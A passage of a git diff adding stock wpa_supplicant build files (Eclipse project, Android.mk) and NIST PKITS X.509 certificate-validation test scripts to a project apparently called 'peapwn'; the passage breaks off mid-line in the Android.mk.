"${P}46/${ICA}1 PP.06.04.crt" "${P}46/${ROOT}CP.01.01.crt" +run_test 47 0 "${P}47/${END}PP.06.05.crt" "${P}47/${ICA}4 PP.06.05.crt" "${P}47/${ICA}3 PP.06.05.crt" "${P}47/${ICA}2 PP.06.05.crt" "${P}47/${ICA}1 PP.06.05.crt" "${P}47/${ROOT}CP.01.01.crt" +run_test 48 0 "${P}48/${END}PP.08.01.crt" "${P}48/${ICA}PP.08.01.crt" "${P}48/${ROOT}CP.01.01.crt" +run_test 49 0 "${P}49/${END}PP.08.02.crt" "${P}49/${ICA}PP.08.02.crt" "${P}49/${ROOT}CP.01.01.crt" +run_test 50 0 "${P}50/${END}PP.08.03.crt" "${P}50/${ICA}PP.08.03.crt" "${P}50/${ROOT}CP.01.01.crt" +run_test 51 0 "${P}51/${END}PP.08.04.crt" "${P}51/${ICA}PP.08.04.crt" "${P}51/${ROOT}CP.01.01.crt" +run_test 52 0 "${P}52/${END}PP.08.05.crt" "${P}52/${ICA}PP.08.05.crt" "${P}52/${ROOT}CP.01.01.crt" +run_test 53 0 "${P}53/${END}PP.08.06.crt" "${P}53/${ICA}PP.08.06.crt" "${P}53/${ROOT}CP.01.01.crt" +run_test 54 1 "${P}54/${END}PL.01.01.crt" "${P}54/${ICA}2 PL.01.01.crt" "${P}54/${ICA}1 PL.01.01.crt" "${P}54/${ROOT}CP.01.01.crt" +run_test 55 1 "${P}55/${END}PL.01.02.crt" "${P}55/${ICA}2 PL.01.02.crt" "${P}55/${ICA}1 PL.01.02.crt" "${P}55/${ROOT}CP.01.01.crt" +run_test 56 0 "${P}56/${END}PL.01.03.crt" "${P}56/${ICA}PL.01.03.crt" "${P}56/${ROOT}CP.01.01.crt" +run_test 57 0 "${P}57/${END}PL.01.04.crt" "${P}57/${ICA}PL.01.04.crt" "${P}57/${ROOT}CP.01.01.crt" +run_test 58 1 "${P}58/${END}PL.01.05.crt" "${P}58/${ICA}3 PL.01.05.crt" "${P}58/${ICA}2 PL.01.05.crt" "${P}58/${ICA}1 PL.01.05.crt" "${P}58/${ROOT}CP.01.01.crt" +run_test 59 1 "${P}59/${END}PL.01.06.crt" "${P}59/${ICA}3 PL.01.06.crt" "${P}59/${ICA}2 PL.01.06.crt" "${P}59/${ICA}1 PL.01.06.crt" "${P}59/${ROOT}CP.01.01.crt" +run_test 60 1 "${P}60/${END}PL.01.07.crt" "${P}60/${ICA}4 PL.01.07.crt" "${P}60/${ICA}3 PL.01.07.crt" "${P}60/${ICA}2 PL.01.07.crt" "${P}60/${ICA}1 PL.01.07.crt" "${P}60/${ROOT}CP.01.01.crt" +run_test 61 1 "${P}61/${END}PL.01.08.crt" "${P}61/${ICA}4 PL.01.08.crt" "${P}61/${ICA}3 PL.01.08.crt" "${P}61/${ICA}2 PL.01.08.crt" "${P}61/${ICA}1 PL.01.08.crt" "${P}61/${ROOT}CP.01.01.crt" +run_test 62 0 "${P}62/${END}PL.01.09.crt" "${P}62/${ICA}4 PL.01.09.crt" "${P}62/${ICA}3 PL.01.09.crt" "${P}62/${ICA}2 PL.01.09.crt" "${P}62/${ICA}1 PL.01.09.crt" "${P}62/${ROOT}CP.01.01.crt" +run_test 63 0 "${P}63/${END}PL.01.10.crt" "${P}63/${ICA}4 PL.01.10.crt" "${P}63/${ICA}3 PL.01.10.crt" "${P}63/${ICA}2 PL.01.10.crt" "${P}63/${ICA}1 PL.01.10.crt" "${P}63/${ROOT}CP.01.01.crt" + + +echo "Successful tests:$SUCCESS" +echo "Failed tests:$FAILURE" diff --git a/peapwn/mods/hostap/tests/test_x509v3_nist2.sh b/peapwn/mods/hostap/tests/test_x509v3_nist2.sh new file mode 100755 index 000000000..572bd9d72 --- /dev/null +++ b/peapwn/mods/hostap/tests/test_x509v3_nist2.sh @@ -0,0 +1,165 @@ +#!/bin/bash + +# Public Key Interoperability Test Suite (PKITS) +# http://csrc.nist.gov/pki/testing/x509paths.html +# http://csrc.nist.gov/groups/ST/crypto_apps_infra/documents/PKITS_data.zip + +if [ -z "$1" ]; then + echo "usage: $0 " + exit 1 +fi + +TESTS=$1 + +if [ ! -d $TESTS ]; then + echo "Not a directory: $TESTS" + exit 1 +fi + +X509TEST="$PWD/test-x509v3 -v" +TMPOUT="$PWD/test_x509v3_nist2.out" + +# TODO: add support for validating CRLs + +SUCCESS="" +FAILURE="" + +function run_test +{ + NUM=$1 + RES=$2 + shift 2 + $X509TEST "$@" TrustAnchorRootCertificate.crt > $TMPOUT.$NUM + VALRES=$? + OK=0 + if [ $RES -eq 0 ]; then + # expecting success + if [ $VALRES -eq 0 ]; then + OK=1 + else + echo "$NUM failed - expected validation success" + OK=0 + fi + else + # expecting failure + if [ $VALRES -eq 0 ]; then + echo "$NUM failed - expected validation failure" + OK=0 + else + REASON=`grep "Certificate chain validation failed: " $TMPOUT.$NUM` + if [ $? -eq 0 ]; then + REASONNUM=`echo "$REASON" | colrm 1 37` + if [ $REASONNUM -eq $RES ]; then + OK=1 + else + echo "$NUM failed - expected validation result $RES; result was $REASONNUM" + OK=0 + fi + else + echo "$NUM failed - expected validation failure; other type of error detected" + OK=0 + fi + fi + fi + if [ $OK -eq 1 ]; then + rm $TMPOUT.$NUM + SUCCESS="$SUCCESS $NUM" + else + FAILURE="$FAILURE $NUM" + fi +} + +pushd $TESTS/certs + +run_test 4.1.1 0 ValidCertificatePathTest1EE.crt GoodCACert.crt +run_test 4.1.2 1 InvalidCASignatureTest2EE.crt BadSignedCACert.crt +run_test 4.1.3 1 InvalidEESignatureTest3EE.crt GoodCACert.crt + +run_test 4.2.1 4 InvalidCAnotBeforeDateTest1EE.crt BadnotBeforeDateCACert.crt +run_test 4.2.2 4 InvalidEEnotBeforeDateTest2EE.crt GoodCACert.crt +run_test 4.2.3 0 Validpre2000UTCnotBeforeDateTest3EE.crt GoodCACert.crt +run_test 4.2.4 0 ValidGeneralizedTimenotBeforeDateTest4EE.crt GoodCACert.crt +run_test 4.2.5 4 InvalidCAnotAfterDateTest5EE.crt BadnotAfterDateCACert.crt +run_test 4.2.6 4 InvalidEEnotAfterDateTest6EE.crt GoodCACert.crt +run_test 4.2.7 4 Invalidpre2000UTCEEnotAfterDateTest7EE.crt GoodCACert.crt +run_test 4.2.8 0 ValidGeneralizedTimenotAfterDateTest8EE.crt GoodCACert.crt + +run_test 4.3.1 5 InvalidNameChainingTest1EE.crt GoodCACert.crt +run_test 4.3.2 5 InvalidNameChainingOrderTest2EE.crt NameOrderingCACert.crt +run_test 4.3.3 0 ValidNameChainingWhitespaceTest3EE.crt GoodCACert.crt +run_test 4.3.4 0 ValidNameChainingWhitespaceTest4EE.crt GoodCACert.crt +run_test 4.3.5 0 ValidNameChainingCapitalizationTest5EE.crt GoodCACert.crt +run_test 4.3.6 0 ValidNameUIDsTest6EE.crt UIDCACert.crt +run_test 4.3.7 0 ValidRFC3280MandatoryAttributeTypesTest7EE.crt RFC3280MandatoryAttributeTypesCACert.crt +run_test 4.3.8 0 ValidRFC3280OptionalAttributeTypesTest8EE.crt RFC3280OptionalAttributeTypesCACert.crt +run_test 4.3.9 0 ValidUTF8StringEncodedNamesTest9EE.crt UTF8StringEncodedNamesCACert.crt +run_test 4.3.10 0 ValidRolloverfromPrintableStringtoUTF8StringTest10EE.crt RolloverfromPrintableStringtoUTF8StringCACert.crt +run_test 4.3.11 0 ValidUTF8StringCaseInsensitiveMatchTest11EE.crt UTF8StringCaseInsensitiveMatchCACert.crt + +run_test 4.4.1 1 InvalidMissingCRLTest1EE.crt NoCRLCACert.crt +# skip rest of 4.4.x tests since CRLs are not yet supported + +run_test 4.5.1 0 ValidBasicSelfIssuedOldWithNewTest1EE.crt BasicSelfIssuedNewKeyOldWithNewCACert.crt BasicSelfIssuedNewKeyCACert.crt +run_test 4.5.2 3 InvalidBasicSelfIssuedOldWithNewTest2EE.crt BasicSelfIssuedNewKeyOldWithNewCACert.crt BasicSelfIssuedNewKeyCACert.crt +run_test 4.5.3 0 ValidBasicSelfIssuedNewWithOldTest3EE.crt BasicSelfIssuedOldKeyNewWithOldCACert.crt BasicSelfIssuedOldKeyCACert.crt +run_test 4.5.4 0 ValidBasicSelfIssuedNewWithOldTest4EE.crt BasicSelfIssuedOldKeyNewWithOldCACert.crt BasicSelfIssuedOldKeyCACert.crt +run_test 4.5.5 3 InvalidBasicSelfIssuedNewWithOldTest5EE.crt BasicSelfIssuedOldKeyNewWithOldCACert.crt BasicSelfIssuedOldKeyCACert.crt +run_test 4.5.6 0 ValidBasicSelfIssuedCRLSigningKeyTest6EE.crt BasicSelfIssuedCRLSigningKeyCRLCert.crt BasicSelfIssuedCRLSigningKeyCACert.crt +run_test 4.5.7 3 InvalidBasicSelfIssuedCRLSigningKeyTest7EE.crt BasicSelfIssuedCRLSigningKeyCRLCert.crt BasicSelfIssuedCRLSigningKeyCACert.crt +run_test 4.5.8 1 InvalidBasicSelfIssuedCRLSigningKeyTest8EE.crt BasicSelfIssuedCRLSigningKeyCRLCert.crt BasicSelfIssuedCRLSigningKeyCACert.crt + +run_test 4.6.1 1 InvalidMissingbasicConstraintsTest1EE.crt MissingbasicConstraintsCACert.crt +run_test 4.6.2 1 InvalidcAFalseTest2EE.crt basicConstraintsCriticalcAFalseCACert.crt +run_test 4.6.3 1 InvalidcAFalseTest3EE.crt basicConstraintsNotCriticalcAFalseCACert.crt +run_test 4.6.4 0 ValidbasicConstraintsNotCriticalTest4EE.crt basicConstraintsNotCriticalCACert.crt +run_test 4.6.5 1 InvalidpathLenConstraintTest5EE.crt pathLenConstraint0subCACert.crt pathLenConstraint0CACert.crt +run_test 4.6.6 1 InvalidpathLenConstraintTest6EE.crt pathLenConstraint0subCACert.crt pathLenConstraint0CACert.crt +run_test 4.6.7 0 ValidpathLenConstraintTest7EE.crt pathLenConstraint0CACert.crt +run_test 4.6.8 0 ValidpathLenConstraintTest8EE.crt pathLenConstraint0CACert.crt +run_test 4.6.9 1 InvalidpathLenConstraintTest9EE.crt pathLenConstraint6subsubCA00Cert.crt pathLenConstraint6subCA0Cert.crt pathLenConstraint6CACert.crt +run_test 4.6.10 1 InvalidpathLenConstraintTest10EE.crt pathLenConstraint6subsubCA00Cert.crt pathLenConstraint6subCA0Cert.crt pathLenConstraint6CACert.crt +run_test 4.6.11 1 InvalidpathLenConstraintTest11EE.crt pathLenConstraint6subsubsubCA11XCert.crt pathLenConstraint6subsubCA11Cert.crt pathLenConstraint6subCA1Cert.crt pathLenConstraint6CACert.crt +run_test 4.6.12 1 InvalidpathLenConstraintTest12EE.crt pathLenConstraint6subsubsubCA11XCert.crt pathLenConstraint6subsubCA11Cert.crt pathLenConstraint6subCA1Cert.crt pathLenConstraint6CACert.crt +run_test 4.6.13 0 ValidpathLenConstraintTest13EE.crt pathLenConstraint6subsubsubCA41XCert.crt pathLenConstraint6subsubCA41Cert.crt pathLenConstraint6subCA4Cert.crt pathLenConstraint6CACert.crt +run_test 4.6.14 0 ValidpathLenConstraintTest14EE.crt pathLenConstraint6subsubsubCA41XCert.crt pathLenConstraint6subsubCA41Cert.crt pathLenConstraint6subCA4Cert.crt pathLenConstraint6CACert.crt +run_test 4.6.15 0 ValidSelfIssuedpathLenConstraintTest15EE.crt pathLenConstraint0SelfIssuedCACert.crt pathLenConstraint0CACert.crt +run_test 4.6.16 1 InvalidSelfIssuedpathLenConstraintTest16EE.crt pathLenConstraint0subCA2Cert.crt pathLenConstraint0SelfIssuedCACert.crt pathLenConstraint0CACert.crt +run_test 4.6.17 0 ValidSelfIssuedpathLenConstraintTest17EE.crt pathLenConstraint1SelfIssuedsubCACert.crt pathLenConstraint1subCACert.crt pathLenConstraint1SelfIssuedCACert.crt pathLenConstraint1CACert.crt + +run_test 4.7.1 1 InvalidkeyUsageCriticalkeyCertSignFalseTest1EE.crt keyUsageCriticalkeyCertSignFalseCACert.crt +run_test 4.7.2 1 InvalidkeyUsageNotCriticalkeyCertSignFalseTest2EE.crt keyUsageNotCriticalkeyCertSignFalseCACert.crt +run_test 4.7.3 0 ValidkeyUsageNotCriticalTest3EE.crt keyUsageNotCriticalCACert.crt +run_test 4.7.4 1 InvalidkeyUsageCriticalcRLSignFalseTest4EE.crt keyUsageCriticalcRLSignFalseCACert.crt +run_test 4.7.5 1 InvalidkeyUsageNotCriticalcRLSignFalseTest5EE.crt keyUsageNotCriticalcRLSignFalseCACert.crt + +run_test 4.8.1 0 ValidCertificatePathTest1EE.crt GoodCACert.crt +run_test 4.8.2 0 AllCertificatesNoPoliciesTest2EE.crt NoPoliciesCACert.crt +run_test 4.8.3 0 DifferentPoliciesTest3EE.crt PoliciesP2subCACert.crt GoodCACert.crt +run_test 4.8.4 0 DifferentPoliciesTest4EE.crt GoodsubCACert.crt GoodCACert.crt +run_test 4.8.5 0 DifferentPoliciesTest5EE.crt PoliciesP2subCA2Cert.crt GoodCACert.crt +run_test 4.8.6 0 OverlappingPoliciesTest6EE.crt PoliciesP1234subsubCAP123P12Cert.crt PoliciesP1234subCAP123Cert.crt PoliciesP1234CACert.crt +run_test 4.8.7 0 DifferentPoliciesTest7EE.crt PoliciesP123subsubCAP12P1Cert.crt PoliciesP123subCAP12Cert.crt PoliciesP123CACert.crt +run_test 4.8.8 0 DifferentPoliciesTest8EE.crt PoliciesP12subsubCAP1P2Cert.crt PoliciesP12subCAP1Cert.crt PoliciesP12CACert.crt +run_test 4.8.9 0 DifferentPoliciesTest9EE.crt PoliciesP123subsubsubCAP12P2P1Cert.crt PoliciesP123subsubCAP12P2Cert.crt PoliciesP123subCAP12Cert.crt PoliciesP123CACert.crt +run_test 4.8.10 0 AllCertificatesSamePoliciesTest10EE.crt PoliciesP12CACert.crt +run_test 4.8.11 0 AllCertificatesanyPolicyTest11EE.crt anyPolicyCACert.crt +run_test 4.8.12 0 DifferentPoliciesTest12EE.crt PoliciesP3CACert.crt +run_test 4.8.13 0 AllCertificatesSamePoliciesTest13EE.crt PoliciesP123CACert.crt +run_test 4.8.14 0 AnyPolicyTest14EE.crt anyPolicyCACert.crt +run_test 4.8.15 0 UserNoticeQualifierTest15EE.crt +run_test 4.8.16 0 UserNoticeQualifierTest16EE.crt GoodCACert.crt +run_test 4.8.17 0 UserNoticeQualifierTest17EE.crt GoodCACert.crt +run_test 4.8.18 0 UserNoticeQualifierTest18EE.crt PoliciesP12CACert.crt +run_test 4.8.19 0 UserNoticeQualifierTest19EE.crt TrustAnchorRootCertificate.crt +run_test 4.8.20 0 CPSPointerQualifierTest20EE.crt GoodCACert.crt + +if false; then +# DSA tests +run_test 4.1.4 0 ValidDSASignaturesTest4EE.crt DSACACert.crt +fi + +popd + + +echo "Successful tests:$SUCCESS" +echo "Failed tests:$FAILURE" diff --git a/peapwn/mods/hostap/wpa_supplicant/.cproject b/peapwn/mods/hostap/wpa_supplicant/.cproject new file mode 100644 index 000000000..e4fa4aa60 --- /dev/null +++ b/peapwn/mods/hostap/wpa_supplicant/.cproject @@ -0,0 +1,57 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/peapwn/mods/hostap/wpa_supplicant/.gitignore b/peapwn/mods/hostap/wpa_supplicant/.gitignore new file mode 100644 index 000000000..0e3ad1b06 --- /dev/null +++ b/peapwn/mods/hostap/wpa_supplicant/.gitignore @@ -0,0 +1 @@ +*.service diff --git a/peapwn/mods/hostap/wpa_supplicant/.project b/peapwn/mods/hostap/wpa_supplicant/.project new file mode 100644 index 000000000..cb9ca0b31 --- /dev/null +++ b/peapwn/mods/hostap/wpa_supplicant/.project @@ -0,0 +1,34 @@ + + + evilwpa_supplicant + + + + + + org.eclipse.cdt.managedbuilder.core.genmakebuilder + clean,full,incremental, + + + + + org.eclipse.cdt.managedbuilder.core.ScannerConfigBuilder + full,incremental, + + + + + + org.eclipse.cdt.core.cnature + org.eclipse.cdt.core.ccnature + org.eclipse.cdt.managedbuilder.core.managedBuildNature + org.eclipse.cdt.managedbuilder.core.ScannerConfigNature + + + + src + 2 + /home/netphyx/Unief/2master/MASTERPROEF/mods/hostap/src + + + diff --git a/peapwn/mods/hostap/wpa_supplicant/Android.mk b/peapwn/mods/hostap/wpa_supplicant/Android.mk new file mode 100644 index 000000000..373a344b4 --- /dev/null +++ b/peapwn/mods/hostap/wpa_supplicant/Android.mk @@ -0,0 +1,1607 @@ +# +# Copyright (C) 2008 The Android Open Source Project +# +# This software may be distributed under the terms of the BSD license. +# See README for more details. +# + +LOCAL_PATH := $(call my-dir) +PKG_CONFIG ?= pkg-config + +ifneq ($(BOARD_WPA_SUPPLICANT_DRIVER),) + CONFIG_DRIVER_$(BOARD_WPA_SUPPLICANT_DRIVER) := y +else + CONFIG_DRIVER_TEST := y +endif + +include $(LOCAL_PATH)/android.config + +# To ignore possible wrong network configurations +L_CFLAGS = -DWPA_IGNORE_CONFIG_ERRORS + +L_CFLAGS += -DVERSION_STR_POSTFIX=\"-$(PLATFORM_VERSION)\" + +# Set Android log name +L_CFLAGS += -DANDROID_LOG_NAME=\"wpa_supplicant\" + +# Disable roaming in wpa_supplicant +ifdef CONFIG_NO_ROAMING +L_CFLAGS += -DCONFIG_NO_ROAMING +endif + +ifeq ($(BOARD_WLAN_DEVICE), bcmdhd) +L_CFLAGS += -DANDROID_P2P +L_CFLAGS += -DP2P_CONCURRENT_SEARCH_DELAY=0 +endif + +ifeq ($(BOARD_WLAN_DEVICE), qcwcn) +L_CFLAGS += -DANDROID_P2P +endif + +ifeq ($(BOARD_WLAN_DEVICE), mrvl) +L_CFLAGS += -DANDROID_P2P +endif + +# Use Android specific directory for control interface sockets +L_CFLAGS += -DCONFIG_CTRL_IFACE_CLIENT_DIR=\"/data/misc/wifi/sockets\" +L_CFLAGS += -DCONFIG_CTRL_IFACE_DIR=\"/data/system/wpa_supplicant\" + +# To force sizeof(enum) = 4 +ifeq ($(TARGET_ARCH),arm) +L_CFLAGS += -mabi=aapcs-linux +endif + +INCLUDES = $(LOCAL_PATH) +INCLUDES += $(LOCAL_PATH)/src +INCLUDES += $(LOCAL_PATH)/src/common +# INCLUDES += $(LOCAL_PATH)/src/crypto # To force proper includes +INCLUDES += $(LOCAL_PATH)/src/drivers +INCLUDES += $(LOCAL_PATH)/src/eap_common +INCLUDES += $(LOCAL_PATH)/src/eapol_supp +INCLUDES += $(LOCAL_PATH)/src/eap_peer +INCLUDES += $(LOCAL_PATH)/src/eap_server +INCLUDES += $(LOCAL_PATH)/src/hlr_auc_gw +INCLUDES += $(LOCAL_PATH)/src/l2_packet +INCLUDES += $(LOCAL_PATH)/src/radius +INCLUDES += $(LOCAL_PATH)/src/rsn_supp +INCLUDES += $(LOCAL_PATH)/src/tls +INCLUDES += $(LOCAL_PATH)/src/utils +INCLUDES += $(LOCAL_PATH)/src/wps +INCLUDES += external/openssl/include +INCLUDES += system/security/keystore/include +ifdef CONFIG_DRIVER_NL80211 +INCLUDES += external/libnl-headers +endif + +ifdef CONFIG_FIPS +CONFIG_NO_RANDOM_POOL= +CONFIG_OPENSSL_CMAC=y +endif + +OBJS = config.c +OBJS += notify.c +OBJS += bss.c +OBJS += eap_register.c +OBJS += src/utils/common.c +OBJS += src/utils/wpa_debug.c +OBJS += src/utils/wpabuf.c +OBJS_p = wpa_passphrase.c +OBJS_p += src/utils/common.c +OBJS_p += src/utils/wpa_debug.c +OBJS_p += src/utils/wpabuf.c +OBJS_c = wpa_cli.c src/common/wpa_ctrl.c +OBJS_c += src/utils/wpa_debug.c +OBJS_c += src/utils/common.c +OBJS_d = +OBJS_priv = + +ifndef CONFIG_OS +ifdef CONFIG_NATIVE_WINDOWS +CONFIG_OS=win32 +else +CONFIG_OS=unix +endif +endif + +ifeq ($(CONFIG_OS), internal) +L_CFLAGS += -DOS_NO_C_LIB_DEFINES +endif + +OBJS += src/utils/os_$(CONFIG_OS).c +OBJS_p += src/utils/os_$(CONFIG_OS).c +OBJS_c += src/utils/os_$(CONFIG_OS).c + +ifdef CONFIG_WPA_TRACE +L_CFLAGS += -DWPA_TRACE +OBJS += src/utils/trace.c +OBJS_p += src/utils/trace.c +OBJS_c += src/utils/trace.c +LDFLAGS += -rdynamic +L_CFLAGS += -funwind-tables +ifdef CONFIG_WPA_TRACE_BFD +L_CFLAGS += -DWPA_TRACE_BFD +LIBS += -lbfd +LIBS_p += -lbfd +LIBS_c += -lbfd +endif +endif + +ifndef CONFIG_ELOOP +CONFIG_ELOOP=eloop +endif +OBJS += src/utils/$(CONFIG_ELOOP).c +OBJS_c += src/utils/$(CONFIG_ELOOP).c + +ifdef CONFIG_ELOOP_POLL +L_CFLAGS += -DCONFIG_ELOOP_POLL +endif + +ifdef CONFIG_EAPOL_TEST +L_CFLAGS += -Werror -DEAPOL_TEST +endif + +ifdef CONFIG_HT_OVERRIDES +L_CFLAGS += -DCONFIG_HT_OVERRIDES +endif + +ifdef CONFIG_VHT_OVERRIDES +L_CFLAGS += -DCONFIG_VHT_OVERRIDES +endif + +ifndef CONFIG_BACKEND +CONFIG_BACKEND=file +endif + +ifeq ($(CONFIG_BACKEND), file) +OBJS += config_file.c +ifndef CONFIG_NO_CONFIG_BLOBS +NEED_BASE64=y +endif +L_CFLAGS += -DCONFIG_BACKEND_FILE +endif + +ifeq ($(CONFIG_BACKEND), winreg) +OBJS += config_winreg.c +endif + +ifeq ($(CONFIG_BACKEND), none) +OBJS += config_none.c +endif + +ifdef CONFIG_NO_CONFIG_WRITE +L_CFLAGS += -DCONFIG_NO_CONFIG_WRITE +endif + +ifdef CONFIG_NO_CONFIG_BLOBS +L_CFLAGS += -DCONFIG_NO_CONFIG_BLOBS +endif + +ifdef CONFIG_NO_SCAN_PROCESSING +L_CFLAGS += -DCONFIG_NO_SCAN_PROCESSING +endif + +ifdef CONFIG_IEEE80211W +L_CFLAGS += -DCONFIG_IEEE80211W +NEED_SHA256=y +NEED_AES_OMAC1=y +endif + +ifdef CONFIG_IEEE80211R +L_CFLAGS += -DCONFIG_IEEE80211R +OBJS += src/rsn_supp/wpa_ft.c +NEED_80211_COMMON=y +NEED_SHA256=y +NEED_AES_OMAC1=y +endif + +ifdef CONFIG_SAE +L_CFLAGS += -DCONFIG_SAE +OBJS += src/common/sae.c +NEED_ECC=y +NEED_DH_GROUPS=y +endif + +ifdef CONFIG_WNM +L_CFLAGS += -DCONFIG_WNM +OBJS += wnm_sta.c +endif + +ifdef CONFIG_TDLS +L_CFLAGS += -DCONFIG_TDLS +OBJS += src/rsn_supp/tdls.c +NEED_SHA256=y +NEED_AES_OMAC1=y +endif + +ifdef CONFIG_TDLS_TESTING +L_CFLAGS += -DCONFIG_TDLS_TESTING +endif + +ifdef CONFIG_PEERKEY +L_CFLAGS += -DCONFIG_PEERKEY +endif + +ifndef CONFIG_NO_WPA +OBJS += src/rsn_supp/wpa.c +OBJS += src/rsn_supp/preauth.c +OBJS += src/rsn_supp/pmksa_cache.c +OBJS += src/rsn_supp/peerkey.c +OBJS += src/rsn_supp/wpa_ie.c +OBJS += src/common/wpa_common.c +NEED_AES=y +NEED_SHA1=y +NEED_MD5=y +NEED_RC4=y +else +L_CFLAGS += -DCONFIG_NO_WPA +endif + +ifdef CONFIG_IBSS_RSN +NEED_RSN_AUTHENTICATOR=y +L_CFLAGS += -DCONFIG_IBSS_RSN +OBJS += ibss_rsn.c +endif + +ifdef CONFIG_P2P +OBJS += p2p_supplicant.c +OBJS += src/p2p/p2p.c +OBJS += src/p2p/p2p_utils.c +OBJS += src/p2p/p2p_parse.c +OBJS += src/p2p/p2p_build.c +OBJS += src/p2p/p2p_go_neg.c +OBJS += src/p2p/p2p_sd.c +OBJS += src/p2p/p2p_pd.c +OBJS += src/p2p/p2p_invitation.c +OBJS += src/p2p/p2p_dev_disc.c +OBJS += src/p2p/p2p_group.c +OBJS += src/ap/p2p_hostapd.c +L_CFLAGS += -DCONFIG_P2P +NEED_GAS=y +NEED_OFFCHANNEL=y +NEED_80211_COMMON=y +CONFIG_WPS=y +CONFIG_AP=y +ifdef CONFIG_P2P_STRICT +L_CFLAGS += -DCONFIG_P2P_STRICT +endif +endif + +ifdef CONFIG_WIFI_DISPLAY +L_CFLAGS += -DCONFIG_WIFI_DISPLAY +OBJS += wifi_display.c +endif + +ifdef CONFIG_HS20 +OBJS += hs20_supplicant.c +L_CFLAGS += -DCONFIG_HS20 +CONFIG_INTERWORKING=y +endif + +ifdef CONFIG_INTERWORKING +OBJS += interworking.c +L_CFLAGS += -DCONFIG_INTERWORKING +NEED_GAS=y +endif + +include $(LOCAL_PATH)/src/drivers/drivers.mk + +ifdef CONFIG_AP +OBJS_d += $(DRV_BOTH_OBJS) +L_CFLAGS += $(DRV_BOTH_CFLAGS) +LDFLAGS += $(DRV_BOTH_LDFLAGS) +LIBS += $(DRV_BOTH_LIBS) +else +NEED_AP_MLME= +OBJS_d += $(DRV_WPA_OBJS) +L_CFLAGS += $(DRV_WPA_CFLAGS) +LDFLAGS += $(DRV_WPA_LDFLAGS) +LIBS += $(DRV_WPA_LIBS) +endif + +ifndef CONFIG_L2_PACKET +CONFIG_L2_PACKET=linux +endif + +OBJS_l2 += src/l2_packet/l2_packet_$(CONFIG_L2_PACKET).c + +ifeq ($(CONFIG_L2_PACKET), pcap) +ifdef CONFIG_WINPCAP +L_CFLAGS += -DCONFIG_WINPCAP +LIBS += -lwpcap -lpacket +LIBS_w += -lwpcap +else +LIBS += -ldnet -lpcap +endif +endif + +ifeq ($(CONFIG_L2_PACKET), winpcap) +LIBS += -lwpcap -lpacket +LIBS_w += -lwpcap +endif + +ifeq ($(CONFIG_L2_PACKET), freebsd) +LIBS += -lpcap +endif + +ifdef CONFIG_EAP_TLS +# EAP-TLS +ifeq ($(CONFIG_EAP_TLS), dyn) +L_CFLAGS += -DEAP_TLS_DYNAMIC +EAPDYN += src/eap_peer/eap_tls.so +else +L_CFLAGS += -DEAP_TLS +OBJS += src/eap_peer/eap_tls.c +OBJS_h += src/eap_server/eap_server_tls.c +endif +TLS_FUNCS=y +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_UNAUTH_TLS +# EAP-UNAUTH-TLS +L_CFLAGS += -DEAP_UNAUTH_TLS +ifndef CONFIG_EAP_UNAUTH_TLS +OBJS += src/eap_peer/eap_tls.c +OBJS_h += src/eap_server/eap_server_tls.c +TLS_FUNCS=y +endif +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_PEAP +# EAP-PEAP +ifeq ($(CONFIG_EAP_PEAP), dyn) +L_CFLAGS += -DEAP_PEAP_DYNAMIC +EAPDYN += src/eap_peer/eap_peap.so +else +L_CFLAGS += -DEAP_PEAP +OBJS += src/eap_peer/eap_peap.c +OBJS += src/eap_common/eap_peap_common.c +OBJS_h += src/eap_server/eap_server_peap.c +endif +TLS_FUNCS=y +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_TTLS +# EAP-TTLS +ifeq ($(CONFIG_EAP_TTLS), dyn) +L_CFLAGS += -DEAP_TTLS_DYNAMIC +EAPDYN += src/eap_peer/eap_ttls.so +else +L_CFLAGS += -DEAP_TTLS +OBJS += src/eap_peer/eap_ttls.c +OBJS_h += src/eap_server/eap_server_ttls.c +endif +MS_FUNCS=y +TLS_FUNCS=y +CHAP=y +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_MD5 +# EAP-MD5 +ifeq ($(CONFIG_EAP_MD5), dyn) +L_CFLAGS += -DEAP_MD5_DYNAMIC +EAPDYN += src/eap_peer/eap_md5.so +else +L_CFLAGS += -DEAP_MD5 +OBJS += src/eap_peer/eap_md5.c +OBJS_h += src/eap_server/eap_server_md5.c +endif +CHAP=y +CONFIG_IEEE8021X_EAPOL=y +endif + +# backwards compatibility for old spelling +ifdef CONFIG_MSCHAPV2 +ifndef CONFIG_EAP_MSCHAPV2 +CONFIG_EAP_MSCHAPV2=y +endif +endif + +ifdef CONFIG_EAP_MSCHAPV2 +# EAP-MSCHAPv2 +ifeq ($(CONFIG_EAP_MSCHAPV2), dyn) +L_CFLAGS += -DEAP_MSCHAPv2_DYNAMIC +EAPDYN += src/eap_peer/eap_mschapv2.so +EAPDYN += src/eap_peer/mschapv2.so +else +L_CFLAGS += -DEAP_MSCHAPv2 +OBJS += src/eap_peer/eap_mschapv2.c +OBJS += src/eap_peer/mschapv2.c +OBJS_h += src/eap_server/eap_server_mschapv2.c +endif +MS_FUNCS=y +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_GTC +# EAP-GTC +ifeq ($(CONFIG_EAP_GTC), dyn) +L_CFLAGS += -DEAP_GTC_DYNAMIC +EAPDYN += src/eap_peer/eap_gtc.so +else +L_CFLAGS += -DEAP_GTC +OBJS += src/eap_peer/eap_gtc.c +OBJS_h += src/eap_server/eap_server_gtc.c +endif +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_OTP +# EAP-OTP +ifeq ($(CONFIG_EAP_OTP), dyn) +L_CFLAGS += -DEAP_OTP_DYNAMIC +EAPDYN += src/eap_peer/eap_otp.so +else +L_CFLAGS += -DEAP_OTP +OBJS += src/eap_peer/eap_otp.c +endif +CONFIG_IEEE8021X_EAPOL=y +endif + +ifdef CONFIG_EAP_SIM +# EAP-SIM +ifeq ($(CONFIG_EAP_SIM), dyn) +L_CFLAGS += -DEAP_SIM_DYNAMIC +EAPDYN += src/eap_peer/eap_sim.so +else +L_CFLAGS += -DEAP_SIM +OBJS += src/eap_peer/eap_sim.c +OBJS_h += src/eap_server/eap_server_sim.c +endif +CONFIG_IEEE8021X_EAPOL=y +CONFIG_EAP_SIM_COMMON=y +NEED_AES_CBC=y +endif + +ifdef 